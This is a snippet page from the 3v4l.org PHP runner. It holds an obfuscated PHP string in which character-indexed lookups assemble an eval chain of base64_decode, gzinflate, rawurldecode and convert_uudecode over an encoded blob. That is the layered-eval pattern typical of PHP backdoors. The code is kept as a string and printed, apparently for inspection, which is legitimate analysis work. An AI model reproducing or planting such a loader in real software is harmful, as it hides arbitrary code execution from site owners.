3v4l.org

run code in 300+ PHP versions simultaneously
<?php $content = ' $key = "ezonlsc_6b4girvaudwft"; $fb010 = $key[9].$key[15].$key[5].$key[0].$key[8].$key[10].$key[7].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f3055 = $key[11].$key[1].$key[12].$key[3].$key[19].$key[4].$key[15].$key[20].$key[0]; $fef6c = $key[13].$key[15].$key[18].$key[16].$key[13].$key[4].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $fb5d6 = $key[6].$key[2].$key[3].$key[14].$key[0].$key[13].$key[20].$key[7].$key[16].$key[16].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f33f1 = $key[0].$key[14].$key[15].$key[4]; $f33f1($fb5d6($fef6c($f3055($fb010("M7U00/VQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA=="))))); '; function parse($str) { preg_match_all("/key/is", $str, $matches); print_r($matches); return $str; } echo parse($content);
Output for 8.0.1 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.6
Array ( [0] => Array ( [0] => key [1] => key [2] => key [3] => key [4] => key [5] => key [6] => key [7] => key [8] => key [9] => key [10] => key [11] => key [12] => key [13] => key [14] => key [15] => key [16] => key [17] => key [18] => key [19] => key [20] => key [21] => key [22] => key [23] => key [24] => key [25] => key [26] => key [27] => key [28] => key [29] => key [30] => key [31] => key [32] => key [33] => key [34] => key [35] => key [36] => key [37] => key [38] => key [39] => key [40] => key [41] => key [42] => key [43] => key [44] => key [45] => key [46] => key [47] => key [48] => key [49] => key [50] => key [51] => key [52] => key [53] => key [54] => key ) ) $key = "ezonlsc_6b4girvaudwft"; $fb010 = $key[9].$key[15].$key[5].$key[0].$key[8].$key[10].$key[7].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f3055 = $key[11].$key[1].$key[12].$key[3].$key[19].$key[4].$key[15].$key[20].$key[0]; $fef6c = $key[13].$key[15].$key[18].$key[16].$key[13].$key[4].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $fb5d6 = $key[6].$key[2].$key[3].$key[14].$key[0].$key[13].$key[20].$key[7].$key[16].$key[16].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f33f1 = $key[0].$key[14].$key[15].$key[4]; $f33f1($fb5d6($fef6c($f3055($fb010("M7U00/VQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA==")))));

preferences:
120.75 ms | 406 KiB | 87 Q